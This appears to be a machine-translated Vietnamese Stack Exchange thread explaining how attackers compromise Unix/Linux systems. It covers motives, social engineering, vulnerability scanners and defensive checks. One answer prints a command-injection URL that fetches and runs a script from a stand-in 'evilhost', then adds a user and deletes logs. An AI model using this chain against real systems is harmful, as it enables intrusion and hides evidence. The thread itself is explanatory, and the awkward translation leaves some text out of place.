Chính xác thì mọi người làm thế nào để crack crack hệ thống Unix / Linux?


13

Không im không muốn trở thành một cracker hoặc một cái gì đó tương tự, nhưng tôi đang cố gắng tìm ra quá trình (nhiều hơn từ góc độ lập trình).

Vì vậy, tôi giả sử (đoán) mục tiêu chính của cracker là giành quyền truy cập root để cài đặt bất kỳ phần mềm (hoặc tập lệnh) nào mà anh ta đã viết phải không? hoặc có thể cài đặt mô-đun kernal của riêng họ (đó là sai lệch vì bất kỳ lý do gì) Làm thế nào chính xác một người đi về làm điều này?

Tôi biết mọi người sử dụng các tập lệnh để kiểm tra khai thác ...... nhưng tôi không thấy cách nào và tôi cũng không thấy chính xác những gì họ làm với họ khi họ tìm thấy chúng? Có phải họ đang kiểm tra các phiên bản cho các khai thác đã biết ...... và sau đó khi họ tìm thấy một .......

Tôi biết tất cả điều này nghe có vẻ rất mới. nhưng tôi chỉ đang cố gắng để có được ý tưởng về cách thức hoạt động của nó vì tôi biết các hệ thống Linux / Unix được cho là rất an toàn nhưng tôi đang cố gắng tìm hiểu làm thế nào ai đó thậm chí sẽ tiến hành (quá trình) để có quyền truy cập root.

Câu trả lời:


14

Có vô số lý do người ta có thể cố gắng thỏa hiệp bảo mật hệ thống. Trong nét rộng:

  • Để sử dụng tài nguyên của hệ thống (ví dụ gửi thư rác, lưu lượng chuyển tiếp)
  • Để có được thông tin trên hệ thống (ví dụ: lấy dữ liệu khách hàng từ một trang web thương mại điện tử).
  • Để thay đổi thông tin trên hệ thống (ví dụ: xóa trang web, nhập thông tin sai, xóa thông tin)

Chỉ đôi khi làm những điều này yêu cầu quyền truy cập root. Ví dụ: nhập truy vấn tìm kiếm không đúng định dạng trên một trang web không vệ sinh đúng cách đầu vào của người dùng có thể tiết lộ thông tin từ cơ sở dữ liệu của trang web, chẳng hạn như tên người dùng / mật khẩu, địa chỉ email, v.v.

Nhiều tội phạm máy tính chỉ là "những đứa trẻ kịch bản"; tức là những người không thực sự hiểu bảo mật hệ thống và thậm chí có thể không viết mã, nhưng chạy các khai thác được viết bởi người khác. Chúng thường dễ dàng được bảo vệ chống lại vì chúng không có khả năng thích nghi; chúng bị giới hạn trong việc khai thác các lỗ hổng đã biết. (Mặc dù chúng có thể tận dụng các botnet - một nhóm lớn các máy tính bị xâm nhập - có thể có nghĩa là nguy cơ của các cuộc tấn công DDoS.)

Đối với kẻ tấn công lành nghề, quá trình này diễn ra như sau:

  1. Chỉ ra mục tiêu là gì và mục tiêu đó có giá trị gì. Bảo mật - duy trì hoặc thỏa hiệp nó - là một tính toán rủi ro / phần thưởng. Điều gì đó càng nguy hiểm và tốn kém hơn, phần thưởng càng phải hấp dẫn để thực hiện một cuộc tấn công đáng giá.

  2. Xem xét tất cả các bộ phận chuyển động có ảnh hưởng đến mục tiêu là gì - ví dụ: nếu bạn muốn gửi thư rác, bạn có thể tấn công máy chủ thư, nhưng có thể có ý nghĩa hơn khi theo đuổi một dịch vụ đối mặt với mạng khác, vì tất cả bạn thực sự cần là sử dụng kết nối mạng của mục tiêu. Nếu bạn muốn dữ liệu người dùng, bạn sẽ bắt đầu xem xét máy chủ cơ sở dữ liệu, máy chủ web và máy chủ web có khả năng truy cập dữ liệu, hệ thống sao lưu dữ liệu, v.v.

    Không bao giờ giảm giá yếu tố con người. Bảo vệ một hệ thống máy tính dễ dàng hơn nhiều so với việc bảo vệ hành vi của con người. Bắt ai đó tiết lộ thông tin họ không nên hoặc chạy mã họ không nên vừa dễ dàng vừa hiệu quả. Ở trường đại học, tôi đã thắng cược với một người bạn liên quan đến việc xâm nhập vào mạng lưới công ty an toàn của anh ấy bằng cách tặng một bộ trang phục hở hang và gặp một Phó chủ tịch tầm thường - chuyên môn kỹ thuật của bạn tôi vượt xa tôi, nhưng không có gì vượt qua sức mạnh của 17yo co-ed trong một chiếc váy ngắn!

    Nếu bạn thiếu ngực, hãy cân nhắc việc cung cấp một trò chơi vô nghĩa hoặc thứ gì đó mà những kẻ ngốc sẽ tải xuống cho vui mà không xem xét những gì nó thực sự có thể làm.

  3. Nhìn vào từng bộ phận bạn đã xác định và xem xét những gì nó có thể làm và cách điều chỉnh nó để làm những gì bạn muốn - có thể bàn trợ giúp đặt lại mật khẩu cho người dùng thường xuyên mà không xác định đúng người gọi và gọi chúng có vẻ nhầm lẫn lấy cho bạn mật khẩu của người khác. Có thể ứng dụng web không kiểm tra những gì được đặt trong hộp tìm kiếm để đảm bảo rằng nó không phải là mã trước khi gắn nó vào một chức năng mà nó chạy. Thỏa hiệp bảo mật thường bắt đầu bằng một cái gì đó được phơi bày có chủ đích có thể được thực hiện để hành xử theo cách không nên.


3
sau khi đọc, tôi vẫn tò mò về những thông tin mà một phó chủ tịch tầm thường có thể cung cấp trong cuộc trò chuyện ngẫu nhiên sẽ thắng bạn trong vụ cá cược đó.
justin cải xoong

1
@justin: Tôi đã nói rằng tôi đã ở đó để xem $ friend re: một dự án của trường, nhưng anh ấy đã rời khỏi văn phòng. Tôi để VP chỉ cho tôi một số điều nhỏ nhặt về hệ thống máy tính, và anh ta quá mất tập trung khi nhìn chằm chằm vào tôi để ý rằng tôi quan sát thấy anh ta nhập mật khẩu. Anh ta có quyền truy cập hợp pháp vào ổ đĩa mà tôi phải truy cập để thắng cược.
HedgeMage

1
Tôi hoàn toàn đồng ý, kỹ thuật xã hội dễ dàng hơn nhiều so với tràn. bạn sẽ thực sự thích kho lưu trữ này.cert.uni
Rohan Monga

"Nếu bạn thiếu ngực, hãy cân nhắc việc cung cấp một trò chơi vô nghĩa hoặc một cái gì đó" .. nghiêm túc chứ? Bạn đặt cả hai trong cùng một loại hiệu quả?! :)
Roopesh Shenoy

2
"Cân nhắc việc cung cấp một trò chơi vô nghĩa hoặc thứ gì đó mà những kẻ ngốc sẽ tải xuống cho vui ..." - Ahh, vậy đó là ý tưởng đằng sau Farmville và Evony.
Shadur

4

Yếu tố lớn nhất là kiểu truy cập mà kẻ tấn công có. Nếu họ có quyền truy cập vật lý, bạn bị lừa. Nếu bạn chỉ quan tâm đến truy cập từ xa thì nó phụ thuộc vào những gì bạn đang chạy; cấu hình tốt là tất cả mọi thứ. Một máy chủ linux tiêu chuẩn có thể sẽ chạy ftp, ssh, http, https và mysql. SSH là an toàn, nhưng tôi sẽ không cho phép đăng nhập root và mật khẩu tốt trên mọi tài khoản là bắt buộc. FTP bị tấn công hoặc bỏ lỡ. Nếu bạn có VSFTP và chroot người dùng của mình, thì nó rất an toàn. Một số phiên bản khác đã biết lỗ hổng. HTTP có lẽ sẽ là khu vực dễ bị tổn thương nhất của bạn. Mối quan tâm lớn nhất của bạn ở đây là bất cứ điều gì thực thi các tệp trên hệ thống hoặc tải tệp lên hệ thống. SQL tiêm rất khó nếu trang web của bạn được thực hiện trong PHP5. Một nhóm sinh viên bảo mật và bản thân tôi đã thử tiêm SQL trên một trang web PHP5 không được xác nhận trong nhiều tuần và không thành công. Với MySQL, hãy chắc chắn sử dụng người dùng không root và hạn chế chỉ đăng nhập từ máy chủ Apache của bạn.

Có một vài plugin Firefox để kiểm tra các lỗ hổng của trang web: truy cập tôi, xss tôi và sql tiêm cho tôi

Một số điều lớn tôi sẽ luôn luôn làm tại các cuộc thi để đảm bảo an ninh sẽ được chạy:

  • netstat - kiểm tra các cổng và kết nối mở,
  • w - ai đã đăng nhập, trong bao lâu,
  • Kiểm tra nhật ký để đăng nhập,
  • lịch sử bash cho các lệnh được thực thi,
  • ps - đang chạy lệnh,
  • /etc/passwd cho người dùng thêm
  • /etc/sudoers để truy cập sudo.

Thông thường sau khi có được quyền truy cập, kẻ tấn công muốn lấy quyền root. Hiện tại có một vài lỗ hổng leo thang đặc quyền ngoài kia sẽ cho phép người dùng bình thường có được quyền root. Sau đó, họ muốn mở nó để truy cập sau bằng cách thêm người dùng và mở cửa sau.

Đây là trang web phòng thủ không gian mạng của trường tôi. Hãy nhìn xung quanh và đặt một số câu hỏi: https://thislink.doesntexist.org/


2

Bảo mật của một hệ thống phụ thuộc vào các kỹ năng của (các) quản trị viên, do đó, thật sai lầm khi nói "Các hệ thống Linux / Unix được cho là rất an toàn" :)

Bây giờ để tiến hành hack ... Có một loại công cụ gọi là " máy quét lỗ hổng " như Nessus tìm kiếm những thứ cần khai thác. Có hàng ngàn thứ có thể sai trong một hệ thống phức tạp, chẳng hạn như máy chủ Apache được cấu hình sai để cho phép tải lên các tệp tùy ý đến các vị trí tùy ý. Những người này có thể đóng vai trò là bước đệm để khai thác thêm, chẳng hạn như có quyền truy cập vào cơ sở dữ liệu hoặc tài khoản email mà từ đó mật khẩu có thể được khôi phục thông qua tính năng "quên mật khẩu".

Đôi khi một hack là để có được quyền truy cập và làm điều gì đó xấu xa. Đôi khi mọi người làm điều đó cho vui (điều này thật ngớ ngẩn)

VÀ, đây là một câu chuyện về một vụ hack nổi tiếng xảy ra gần đây. Tôi nghĩ nó sẽ mang tính minh họa cho bất cứ ai đang xem xét bảo mật! Để trích dẫn một bản tóm tắt khai thác:

Một ứng dụng Web có lỗi SQL và mật khẩu không an toàn. Mật khẩu đã được chọn xấu. Mật khẩu đã được sử dụng lại. Máy chủ cho phép xác thực dựa trên mật khẩu. Các hệ thống chưa được vá. Và một sự sẵn sàng đáng kinh ngạc để trao các thông tin qua e-mail, ngay cả khi người được yêu cầu họ nên nhận ra điều gì đó đã xảy ra.


1

Có rất nhiều vectơ tấn công gần như vô tận. Một trong những khái niệm đơn giản nhất là làm cho một chương trình có sẵn công khai, và nói rằng nó làm một cái gì đó khác hơn là nó thực sự làm. Cung cấp cho người dùng các hướng dẫn thân thiện sudokhi bắt đầu và xem thế giới bùng nổ. Điều này xảy ra mỗi ngày với các chương trình nguồn đóng, vì một người không thể kiểm tra hoạt động của nó trước đó, như đã thấy với các đĩa CD Sony chẳng hạn .

Bạn cũng có thể thử gửi các chuỗi đặc biệt đến một máy chủ từ xa. Đối với một ví dụ cấp cao, giả sử bạn có một máy chủ web có một số phần mềm đang chạy trên đó và phần mềm đó chạy một phần của URL dưới dạng một lệnh mà không thoát hoặc đảm bảo rằng nó không thể gây hại. Gửi một cái gì đó như http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Được giải mã, chuỗi tìm kiếm trở thành . Nếu điều đó được chạy, script.sh sẽ chạy với quyền truy cập giống như người dùng máy chủ web để làm bất cứ điều gì trên máy. Đôi khi mọi người để những thứ này chạy như root cho "sự tiện lợi", trong trường hợp này là một từ đồng nghĩa với sự lười biếng và / hoặc không biết gì. Ngay cả khi nó không chạy bằng root, tập lệnh đó có thể chạy hàng ngàn thử nghiệm cho các lỗ hổng khác trong phần mềm đã cài đặt và chạy một lệnh khác nếu nó tìm thấy. Lệnh cuối cùng có thể là ví dụfoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log, để có quyền truy cập SSH và xóa dấu vết của đột nhập.

[các lệnh rõ ràng đã được đơn giản hóa và có thể sẽ không hoạt động. YMMV]

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.